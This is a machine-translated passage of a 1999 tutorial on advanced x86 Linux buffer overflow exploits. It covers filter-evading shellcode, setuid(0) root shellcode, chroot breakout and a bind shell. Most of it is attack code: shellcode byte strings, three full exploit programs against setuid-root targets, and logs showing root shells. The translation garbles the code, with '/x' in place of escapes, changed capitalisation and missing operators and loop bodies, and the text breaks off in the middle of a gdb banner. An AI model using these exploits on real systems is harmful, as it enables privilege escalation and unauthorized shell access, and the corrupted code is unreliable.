Senior buffer overflow: DSPMAN, SOLO, Backend
Date: 1999-12-14
Written by taeho oh (ohhara@postech.edu)
-------------------------------------------------- ----------------------------
Taeho Oh (Ohhara@postech.edu) http://postech.edu/~ohhara
Plus (Postech Laboratory for Unix Security) http://postech.edu/plus
Poslug (Postech Linux User Group) http://postech.edu/group/poslug
-------------------------------------------------- ----------------------------
1 Introduction
There are several code programs that have several buffers overflow. Early buffer overflow program is relatively simple, often
It is only (by executing / bin / sh) a shell. But today's buffer overflow procedures have been more
Diversified methods, such as bypass filter restrictions, establish socket, break through Chroot, etc. Here we mainly introduce
Some of the more advanced use techniques in the programming of the buffer overflow based on (Intel x86) Linux.
2. Prepare knowledge
You must understand the assembly language, and the C language has Linux. Of course, you must also know how the buffer overflow is.
The mechanism analysis of the buffer in our site is available for your reference. You can also find from the PHRAK magazine 49-14
Information about buffer overflow (English).
3. Baven the filter limit
Many programs have buffer overflow issues. But why not all buffer overflow programs can be used to get
Shell? This is because it is still difficult to attack even if a program has the condition of buffer overflow.
In many cases because the program is filtered with some characters or transform some characters to others. If one
The program is filtered through all non-print characters, and the overflow vulnerability is hardly available. But if the program is only filtered
Character, you can bypass these filtering mechanisms by writing a smart buffer overflow code. :)
3.1 Strokes attacked
Vulnerable1.c
-------------------------------------------------- ----------------------------
#include 
#include 
INT main (int Argc, int ** argv)
{
Char buffer [1024];
INT I;
IF (Argc> 1)
{
For (i = 0; i  Argv [1] [I] = TouPper (Argv [1] [I]); STRCPY (Buffer, Argv [1]); } } -------------------------------------------------- ---------------------------- This program is very simple, and only the letters that use lowercase letters entered into uppercase letters. So you have to edit Write a shellcode that does not contain any lowercase letters. How can I do it? It should be noted that we must It must face the fact that "/ bin / sh" must be lowercase. But in fact, we can do this. :) 3.2 Modify conventional shellcode Almost all buffer overflow code uses the following shellcode. Now what you have to do is to put all lowercase letters Remove from shellocode. Of course, the new shellcode also enables us to get the shell. Conventional shellcode -------------------------------------------------- ---------------------------- Char shellcode [] = "/ Xeb / x1f" / * jmp 0x1f * / "/ x5e" / * popl% ESI * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * MOVB% EAX, 0x7 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xd8" / * movl% EBX,% EAX * / "/ x40" / * Inc% EAX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XDC / XFF / XFF / XFF" / * CALL-0X24 * / "/ bin / sh"; / * .string / "/ bin / sh /" * / -------------------------------------------------- ---------------------------- This SHELLCode contains 6 lowercase letters. (5 inside "/ bin / sh", 1 in "MOVL% ESI, 0x8 (% ESI)" in). We can't use "/ bin / sh" directly because it will be filtered out. But can insert any non-insert Small write characters. That is, "/ X2F / X12 / X19 / X1E / X2F / X23 / X18" can be inserted "/ x2f / x62 / x69 / x6e / x2f / x73 / x68 "(" / bin / sh "). But after the buffer overflows, we must put" / X2f / x12 / x19 / x1e / x2f / x23 / x18 "becomes" / x2f / x73 / x68 ", so that" / bin / sh "can be executed. We can make / x62, / x69, / x6e, / x62, / x69, / x6e, / x73, and / x69, / x6e, / x73, and / x68 become executable code. But how to hide / x76 in the command "MOVL% ESI, 0x8 (% ESI)"? You can put "MOVL% ESI, 0x8 (% ESI)" Equivalent to other instructions that do not contain lowercase letters. For example, "MOVL% ESI, 0x8 (% ESI)" can become "MOVL% ES.,% EAX", "ADDL $ 0x8,% EAX", "MOVL% EAX, 0x8 (% ESI)" This instruction sequence. Of course this also Other instructions can be used, as long as any lowercase letters are not included in the instructions. The following is a modified shellcode -------------------------------------------------- -------------------------- CHAR shellcode [] = "/ xeb / x38" / * jmp 0x38 * / "/ x5e" / * popl% ESI * / "/ x80 / x46 / x01 / x50" / * addb $ 0x50, 0x1 (% ESI) * / "/ x80 / x46 / x02 / x50" / * addb $ 0x50, 0x2 (% ESI) * / "/ x80 / x46 / x03 / x50" / * addb $ 0x50, 0x3 (% ESI) * / "/ x80 / x46 / x05 / x50" / * addb $ 0x50, 0x5 (% ESI) * / "/ x80 / x46 / x06 / x50" / * addb $ 0x50, 0x6 (% ESI) * / "/ x89 / xf0" / * movl% ESI,% EAX * / "/ x83 / xc0 / x08" / * Add1 $ 0x8,% EAX * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * MOVB% EAX, 0x7 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xd8" / * movl% EBX,% EAX * / "/ x40" / * Inc% EAX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XC3 / XFF / XFF / XFF" / * CALL-0X3D * / "/ x2f / x12 / x19 / x1e / x2f / x23 / x18"; / * .string "/ bin / sh" * / / * / bin / sh is disguised * / -------------------------------------------------- ---------------------------- 3.3 Using an attack program With the above shellcode, you can easily write overflow vulnerability attack code. Exploit1.c -------------------------------------------------- ---------------------------- #include  #include  #define align 0 #define offset 0 #define ret_position 1024 #define Range 20 #define nop 0x90 Char shellcode [] = "/ xeb / x38" / * jmp 0x38 * / "/ x5e" / * popl% ESI * / "/ x80 / x46 / x01 / x50" / * addb $ 0x50, 0x1 (% ESI) * / "/ x80 / x46 / x02 / x50" / * addb $ 0x50, 0x2 (% ESI) * / "/ x80 / x46 / x03 / x50" / * addb $ 0x50, 0x3 (% ESI) * / "/ x80 / x46 / x05 / x50" / * addb $ 0x50, 0x5 (% ESI) * / "/ x80 / x46 / x06 / x50" / * addb $ 0x50, 0x6 (% ESI) * / "/ x89 / xf0" / * movl% ESI,% EAX * / "/ x83 / xc0 / x08" / * Add1 $ 0x8,% EAX * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * MOVB% EAX, 0x7 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xd8" / * movl% EBX,% EAX * / "/ x40" / * Inc% EAX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XC3 / XFF / XFF / XFF" / * CALL-0X3D * / "/ x2f / x12 / x19 / x1e / x2f / x23 / x18"; / * .string "/ bin / sh" * / / * / bin / sh is disguised * / Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Main (int Argc, char ** argv) { Char buff [RET_POSITION   RANGE   Align   1], * PTR; Long addr; UNSIGNED Long SP; INT offset = offset, bsize = RET_POSITION   RANGE   Align   1; INT I; IF (Argc> 1) OFFSET = ATOI (Argv [1]); sp = get_sp (); Addr = sp-offset; For (i = 0; i  { BUFF [I   Align] = (AddR & 0x000000FF); BUF [I   Align   1] = (AddR & 0x0000FF00) >> 8; BUF [I   Align   2] = (AddR & 0x00FF0000) >> 16; BUF [i   align   3] = (addr & 0xff000000) >> 24; } For (i = 0; i  BUFF [I] = NOP; PTR = BUFF   BSIZE-RANGE * 2-STRLEN (Shellcode) -1; for (i = 0; I  * (PTR   ) = shellcode [i]; BUFF [BSIZE-1] = '/ 0'; Printf ("Jump to 0x% 08x / N", ADDR); Execl ("./ Vulnerable1", "Vulnerable1", BUFF, 0); } -------------------------------------------------- ---------------------------- The results of the operation are as follows: -------------------------------------------------- ---------------------------- [user @ host ~] {1} $ ls -l Vulnerable1 -RWSR-XR-X 1 root root 4342 Oct 18 13:20 Vulnerable1 * [User @ host ~] {2} $ ls -l expedition1 -RWXR-XR-X 1 Ohhara CSE 6932 Oct 18 13:20 Exploit1 * [user @ Host ~] {3} $ ./exploit1 Jump to 0xBFFEC64 Segmentation Fault [user @ Host ~] {4} $ ./exploit1 500 Jump to 0xBFFFEA70 Bash #whoami root Bash # -------------------------------------------------- ---------------------------- 3.4 Tips With this trick, we can bypass different filtration mechanisms of various systems. When the attacker is filtered! @ # $% ^ & * () When we can prepare a new shellcode so that it does not include! @ # $% ^ & * (). However, if the program is filtered More characters, compilation shellcode will also become more difficult. 4. Change the UID 0 SetUID has become a ROOT program that has root permissions at runtime, has always been a hidden that is considered safe. . Because it is called STEUID (0) during execution. Many programmers think using Seteuid (GetUID ()) It will be more secure, but the fact is not the case, the user ID (UID) can still be changed to 0. :) 4.1 Randie attacked Vulnerable2.c -------------------------------------------------- ---------------------------- #include  #include  INT main (int Argc, char ** argv) { Char buffer [1024]; Seteuid (GetUID ()); IF (Argc> 1) STRCPY (Buffer, Argv [1]); } -------------------------------------------------- ---------------------------- This program calls setEUID from the beginning. So, you can think of the back "STRCPY (Buffer, Argv [1]);" There is no problem. Because even successfully realizes the buffer overflow attack, I They can only get their own shell. However, if you join the call containing setuid (0) in Shellcode, don't you get the root shell? :) 4.2 Preparation SetUID (0) code Setuidasm.c -------------------------------------------------- ---------------------------- Main () { SetUID (0); } -------------------------------------------------- ---------------------------- Then compile and disassemble -------------------------------------------------- ---------------------------- [User @ host ~] {1} $ gcc -o setuidasm -static setuidasm.c [user @ Host ~] {2} $ GDB setuidasm GNU GDB 4.17 CopyRight 1998 Free Software Foundation, Inc. GDB IS Free Software, Covered by the gnu general public license, and you are Welcome to change IT and / or or distribute copies of it under certain conditions. Type "Show Copying" to see the conditions. There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details. THIS GDB WAS Configured AS "i386-redhat-linux" ... (GDB) Disassemble SetUID Dump of assembler code for function __setuid: 0x804CA00 <__ setuid>: MOVL% EBX,% EDX 0x804ca02 <__ setuid   2>: MOVL 0x4 (% ESP, 1),% EBX 0x804ca06 <__ setuid   6>: MOVL $ 0x17,% EAX 0x804ca0b <__ setuid   11>: int $ 0x80 0x804ca0d <__ setuid   13>: MOVL% EDX,% EBX 0x804ca0f <__ setuid   15>: cmpl $ 0xffffff001,% EAX 0x804ca14 <__ setuid   20>: jae 0x804cc10 <__ syscall_error> 0x804ca1a <__ setuid   26>: RET 0x804ca1b <__ setuid   27>: NOP 0x804ca1c <__ setuid   28>: NOP 0x804ca1d <__ setuid   29>: NOP 0x804ca1e <__ setuid   30>: NOP 0x804ca1f <__ setuid   31>: NOP End of assembler dump. (GDB) -------------------------------------------------- ---------------------------- SetUID (0); CODE -------------------------------------------------- -------------------------- Char code [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ XB0 / X17" / * MOVB $ 0X17,% Al * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- 4.3 Modify conventional shellcode Now just insert our setuid (0) code at the beginning of the conventional shellcode, you get a new shellcode. New shellcode -------------------------------------------------- ---------------------------- Char shellcode [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ XB0 / X17" / * MOVB $ 0X17,% Al * / "/ xcd / x80" / * int $ 0x80 * / "/ Xeb / x1f" / * jmp 0x1f * / "/ x5e" / * popl% ESI * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * MOVB% EAX, 0x7 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xd8" / * movl% EBX,% EAX * / "/ x40" / * Inc% EAX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XDC / XFF / XFF / XFF" / * CALL-0X24 * / "/ bin / sh"; / * .string / "/ bin / sh /" * / -------------------------------------------------- ---------------------------- 4.4 Attack Procedure With the following shellcode, you can use the code very convenient. Exploit2.c -------------------------------------------------- ---------------------------- #include  #include  #define align 0 #define offset 0 #define ret_position 1024 #define Range 20 # Define NOP 0x90 Char shellcode [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ XB0 / X17" / * MOVB $ 0X17,% Al * / "/ xcd / x80" / * int $ 0x80 * / "/ Xeb / x1f" / * jmp 0x1f * / "/ x5e" / * popl% ESI * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * MOVB% EAX, 0x7 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xd8" / * movl% EBX,% EAX * / "/ x40" / * Inc% EAX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XDC / XFF / XFF / XFF" / * CALL-0X24 * / "/ bin / sh"; / * .string / "/ bin / sh /" * / Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void main (int Argc, char ** argv) { Char buff [RET_POSITION   RANGE   Align   1], * PTR; Long addr; UNSIGNED Long SP; INT offset = offset, bsize = RET_POSITION   RANGE   Align   1; INT I; IF (Argc> 1) OFFSET = ATOI (Argv [1]); sp = get_sp (); Addr = sp-offset; For (i = 0; i  { BUFF [I   Align] = (AddR & 0x000000FF); BUF [I   Align   1] = (AddR & 0x0000FF00) >> 8; BUF [I   Align   2] = (AddR & 0x00FF0000) >> 16; BUF [i   align   3] = (addr & 0xff000000) >> 24; } For (i = 0; i  BUFF [I] = NOP; PTR = BUFF   BSIZE-RANGE * 2-STRLEN (Shellcode) -1; For (i = 0; i  BUFF [BSIZE-1] = '/ 0'; Printf ("Jump to 0x% 08x / N", ADDR); Execl ("./ VulneRable2", "Vulnerable2", BUFF, 0); } -------------------------------------------------- ---------------------------- operation result -------------------------------------------------- ---------------------------- [user @ hosts ~] {1} $ ls -l Vulnerable2 -RWSR-XR-X 1 root root 4258 OCT 18 14:16 Vulnerable2 * [User @ hosts ~] {2} $ ls -l expedition2 -RWXR-XR-X 1 Ohhara CSE 6932 OCT 18 14:26 Exploit2 * [user @ hosts ~] {3} $ ./exploit2 Jump to 0xBFFEC64 Illegal instruction [user @ hosts ~] {4} $ ./exploit2 500 Jump to 0xBFFFEA70 Bash #whoami root Bash # -------------------------------------------------- ---------------------------- 4.5 Tips If you use a general overflow attack method to attack a program with overflow vulnerabilities, you can only get your own shell, then This method can be considered. 5. Breakthrough Chroot If SetUID becomes the ROOT program with Chroot, you can only access the catalog protected by Chroot. and You cannot access true root directory. However, you can still change the directory of root in shellcode. Access any directory. :) 5.1 Extracted routines Vulnerable3.c -------------------------------------------------- ---------------------------- #include  #include  INT main (int Argc, char ** argv) { Char buffer [1024]; Chroot ("/ home / ftp"); chdir ("/"); IF (Argc> 1) STRCPY (Buffer, Argv [1]); } -------------------------------------------------- ---------------------------- If we try to use overflow to execute "/ bin / sh", it will be possible to execute "/ home / ftp / bin / sh" (if there is The words), and we cannot access other directorys except "/ home / ftp". 5.2 Preparation Breakthrough Chroot Code If you can perform the following code, you can break through Chroot. Breakchrootasm.c -------------------------------------------------- ---------------------------- Main () { MKDir ("SH", 0755); Chroot ("SH"); / * many "../" * / Chroot ("../../../../../../../../../../..../../../ .. / "); } -------------------------------------------------- ---------------------------- This program has established a "SH" directory because it is often used. (It is often used to perform "/ bin / sh") Compilation and disassembly -------------------------------------------------- ---------------------------- [user @ hosts ~] {1} $ gcc -o breakchrootasm -static breakchrootasm.c [user @ hosts ~] {2} $ GDB BREAKCHROOOTASM GNU GDB 4.17 CopyRight 1998 Free Software Foundation, Inc. GDB IS Free Software, Covered by the gnu general public license, and you are Welcome to change IT and / or or distribute copies of it under certain conditions. Type "Show Copying" to see the conditions. There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details. THIS GDB WAS Configured AS "i386-redhat-linux" ... (GDB) Disassemble MKDir Dump of assembler code for function __mkdir: 0x804cac0 <__ mkdir>: MOVL% EBX,% EDX 0x804cac2 <__ mkdir   2>: MOVL 0x8 (% ESP, 1),% ECX 0x804cac6 <__ mkdir   6>: MOVL 0x4 (% ESP, 1),% EBX 0x804caca <__ mkdir   10>: MOVL $ 0x27,% EAX 0x804cacf <__ mkdir   15>: int $ 0x80 0x804CAD1 <__ mkdir   17>: MOVL% EDX,% EBX 0x804CAD3 <__ mkdir   19>: cmpl $ 0xfffffff001,% EAX 0x804CAD8 <__ mkdir   24>: jae 0x804cc40 <__ syscall_error> 0x804cade <__ mkdir   30>: RET 0x804CADF <__ mkdir   31>: NOP End of assembler dump. (GDB) Disassemble Chroot Dump of assembler code for function chroot: 0x804cb60  0x804cb62  0x804cb66  0x804cb6b  0x804cb6f  0x804cb74  0x804cb7a  0x804cb7b  0x804cb7c  0x804cb7d  0x804cb7e  0x804cb7f  End of assembler dump. (GDB) -------------------------------------------------- ---------------------------- Mkdir ("SH", 0755); CODE -------------------------------------------------- ---------------------------- / * The first parameter for establishing a directory is% EBX second parameter is% ECX. * / Char code [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ XB0 / X17" / * MOVB $ 0x27,% Al * / "/ x8d / x5e / x05" / * leal 0x5 (% ESI),% EBX * / / * Before using this instruction,% ESI has been loaded with "/ bin / sh" address * / / * This instruction will load the address of "SH" and store it in% EBX * / "/ XFE / XC5" / * IncB% CH * / / *% CX = 0000 0001 0000 0000 * / "/ XB0 / X3D" / * MOVB $ 0XED,% CL * / / *% CX = 0000 0001 1110 1101 * / / *% CX = 000 111 101 101 * / / *% CX = 0 7 5 5 * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- Chroot ("SH"); CODE -------------------------------------------------- ---------------------------- / * Chroot's first parameter is EBX * / Char code [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x8d / x5e / x05" / * leal 0x5 (% ESI),% EBX * / "/ XB0 / X3D" / * MOVB $ 0x3D,% Al * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- Chroot ("../../../../../../../../../../..../../../ .. / "); code --------------------------------------------- ------------------------------- Char code [] = "/ XBB / XD2 / XD1 / XD0 / XFF" / * MOVL $ 0xFFD0D1D2,% EBX * / / * Passed through "../" string * / "/ xf7 / xdb" / * NEGL% EBX * / / *% EBX = $ 0x002f2e2e * / / * Intel x86 is little endian. * / / *% EBX = "../" * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ XB1 / X10" / * MOVB $ 0X10,% CL * / / * Prepare loop 16 times. * / "/ x56" / * pushl% ESI * / / * Back up the current% ESI.% ESI has a pointer to "/ bin / sh". * / "/ x01 / xce" / * addl% ECX,% ESI * / "/ x89 / x1e" / * movl% EBX, (% ESI) * / "/ x83 / xc6 / x03" / * Add1 $ 0x3,% ESI * / "/ XE0 / XF9" / * loopne -0x7 * / / * Make strings "../../../../..." At 0x10 (% ESI) cycle * / "/ x5e" / * popl% ESI * / / * Reset% ESI. * / "/ XB0 / X3D" / * MOVB $ 0x3D,% Al * / "/ x8d / x5e / x10" / * LEAL 0X10 (% ESI),% EBX * / / * "../../../../..." The address is% EBX. * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- 5.3 Modify conventional shellcode Put the code we have prepared by Chroot in the beginning of regular shellcode, then modify the parameters of JMP and Call. New shellcode -------------------------------------------------- ---------------------------- Char shellcode [] = "/ Xeb / X4F" / * JMP 0x4f * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ x5e" / * popl% ESI * / "/ x88 / x46 / x07" / * MOVB% Al, 0x7 (% ESI) * / "/ XB0 / X27" / * MOVB $ 0x27,% Al * / "/ x8d / x5e / x05" / * leal 0x5 (% ESI),% EBX * / "/ XFE / XC5" / * IncB% CH * / "/ XB1 / XED" / * MOVB $ 0XED,% CL * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x8d / x5e / x05" / * LEAL 0x5 (% ESI),% EBX * / "/ XB0 / X3D" / * MOVB $ 0x3D,% Al * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ XBB / XD2 / XD1 / XD0 / XFF" / * MOVL $ 0xFFD0D1D2,% EBX * / "/ xf7 / xdb" / * NEGL% EBX * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ XB1 / X10" / * MOVB $ 0X10,% CL * / "/ x56" / * pushl% ESI * / "/ x01 / xce" / * addl% ECX,% ESI * / "/ x89 / x1e" / * movl% EBX, (% ESI) * / "/ x83 / xc6 / x03" / * addl% 0x3,% ESI * / "/ XE0 / XF9" / * loopne -0x7 * / "/ x5e" / * popl% ESI * / "/ XB0 / X3D" / * MOVB $ 0x3D,% Al * / "/ x8d / x5e / x10" / * LEAL 0X10 (% ESI),% EBX * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XAC / XFF / XFF / XFF" / * CALL-0X54 * / "/ bin / sh"; / * .string / "/ bin / sh /" * / -------------------------------------------------- ---------------------------- 5.4 Attack Procedure 3 Exploit3.c -------------------------------------------------- ---------------------------- #include  #include  #define align 0 #define offset 0 #define ret_position 1024 #define Range 20 #define nop 0x90 Char shellcode [] = "/ Xeb / X4F" / * JMP 0x4f * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ x5e" / * popl% ESI * / "/ x88 / x46 / x07" / * MOVB% Al, 0x7 (% ESI) * / "/ XB0 / X27" / * MOVB $ 0x27,% Al * / "/ x8d / x5e / x05" / * Leal 0x5 (% ESI),% EBX * / "/ XFE / XC5" / * IncB% CH * / "/ XB1 / XED" / * MOVB $ 0XED,% CL * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x8d / x5e / x05" / * leal 0x5 (% ESI),% EBX * / "/ XB0 / X3D" / * MOVB $ 0x3D,% Al * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ XBB / XD2 / XD1 / XD0 / XFF" / * MOVL $ 0xFFD0D1D2,% EBX * / "/ xf7 / xdb" / * NEGL% EBX * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ XB1 / X10" / * MOVB $ 0X10,% CL * / "/ x56" / * pushl% ESI * / "/ x01 / xce" / * addl% ECX,% ESI * / "/ x89 / x1e" / * movl% EBX, (% ESI) * / "/ x83 / xc6 / x03" / * addl% 0x3,% ESI * / "/ XE0 / XF9" / * loopne -0x7 * / "/ x5e" / * popl% ESI * / "/ XB0 / X3D" / * MOVB $ 0x3D,% Al * / "/ x8d / x5e / x10" / * LEAL 0X10 (% ESI),% EBX * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XAC / XFF / XFF / XFF" / * CALL-0X54 * / "/ bin / sh"; / * .string / "/ bin / sh /" * / Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void main (int Argc, char ** argv) { Char buff [RET_POSITION   RANGE   Align   1], * PTR; Long addr; UNSIGNED Long SP; INT offset = offset, bsize = RET_POSITION   RANGE   Align   1; INT I; IF (Argc> 1) OFFSET = ATOI (Argv [1]); sp = get_sp (); Addr = sp-offset; for (i = 0; i  { BUFF [I   Align] = (AddR & 0x000000FF); BUF [I   Align   1] = (AddR & 0x0000FF00) >> 8; BUF [I   Align   2] = (AddR & 0x00FF0000) >> 16; BUF [i   align   3] = (addr & 0xff000000) >> 24; } For (i = 0; i  BUFF [I] = NOP; PTR = BUFF   BSIZE-RANGE * 2-STRLEN (Shellcode) -1; For (i = 0; i  * (PTR   ) = shellcode [i]; BUFF [BSIZE-1] = '/ 0'; Printf ("Jump to 0x% 08x / N", ADDR); Execl ("./ Vulnerable3", "Vulnerable3", BUFF, 0); } -------------------------------------------------- ---------------------------- operation result -------------------------------------------------- ---------------------------- [user @ hosts ~] {1} $ ls -l vulnerable3 -RWSR-XR-X 1 root root 4348 Oct 18 15:06 Vulnerable3 * [user @ hosts ~] {2} $ ls -l exploit3 -RWXR-XR-x 1 Ohhara CSE 5059 OCT 18 17:13 Exploit3 * [user @ hosts ~] {3} $ ./exploit3 Jump to 0xBFFEC68 Segmentation Fault [user @ hosts ~] {4} $ ./exploit3 500 Jump to 0xBFFFEA74 Segmentation Fault [user @ hosts ~] {5} $ ./exploit3 -500 Jump to 0xBffFee5c Bash #whoami root Bash # PWD / home / ftp Bash # CD / Bash # PWD / Bash # ls AFS Boot etc Home Lost   Found Mnt Root Tmp Var BIN DEV EXPORT LIB MISC Proc Sbin USR Bash # -------------------------------------------------- ---------------------------- 5.5 Tips Using buffer overflows to attack a Chrooted SetUID, you will not be able to access the root directory. But you can Use this technology to access all paths. :) 6. Establish a socket connection If we attacked a daemon with a buffer overflow vulnerability, it will crash. So in most cases, We must execute a shell first, then open a socket port, and then use standard I / O to establish a connection. otherwise, It is impossible to obtain the desired shell. Even if you get the shell, because the daemon has already collapsed, we cannot perform any instructions, so a more complex shellcode must be prepared for establishing a connection to our machine. 6.1 Earth-attack routines -------------------------------------------------- ---------------------------- #include  INT main (int Argc, char ** argv) { Char buffer [1024]; IF (Argc> 1) STRCPY (Buffer, Argv [1]); } -------------------------------------------------- ---------------------------- This is a standard with a standard existed vulnerability. We use it to verify how to write a socket connection Shellcode. But we are too lazy, don't want to write a daemon. :-) But I dare to guarantee that after reading the following code, you will not be disappointed. :) 6.2 Code to establish a socket The following is a program that can build a socket. Opensocketasm1.c -------------------------------------------------- ---------------------------- #include  #include  #include  Int SoC, CLI, SOC_LEN; Struct SockAddr_in serv_addr; Struct SockAddr_in CLI_ADDR; int main () { IF (fork () == 0) { Serv_addr.sin_family = af_INet; Serv_addr.sin_addr.s_addr = HTONL (INADDR_Any); Serv_addr.sin_port = HTONS (30464); SOC = Socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); Bind (SOC, STRUCT SOCKADDR *) & serv_addr, sizeof (serv_addr)); Listen (SoC, 1); SOC_LEN = SizeOf (CLI_ADDR); CLI = Accept (SOC, STRUCKADDR *) & cli_addr, & soc_len; DUP2 (CLI, 0); DUP2 (CLI, 1); DUP2 (CLI, 2); Execl ("/ Bin / SH", "SH", 0); } } -------------------------------------------------- ---------------------------- The code that uses the assembly language to write will not be the same. You can write the above program easier. Opensocketasm2.c -------------------------------------------------- ---------------------------- #include  #include  #include  INT SoC, CLI; Struct SockAddr_in serv_addr; int main () { IF (fork () == 0) { Serv_addr.sin_family = 2; Serv_addr.sin_addr.s_addr = 0; Serv_addr.sin_port = 0x77; SOC = Socket (2, 1, 6); Bind (SOC, STRUCKADDR *) & serv_addr, 0x10); Listen (SoC, 1); CLI = ACCEPT (SOC, 0, 0); DUP2 (CLI, 0); DUP2 (CLI, 1); DUP2 (CLI, 2); Execl ("/ Bin / SH", "SH", 0); } } -------------------------------------------------- ---------------------------- Compilation and disassembly results -------------------------------------------------- ---------------------------- [user @ hosts ~] {1} $ gcc -o opensocketasm2 -static opensocketasm2.c [user @ hosts ~] {2} $ GDB OPENSOCKETASM2 GNU GDB 4.17 CopyRight 1998 Free 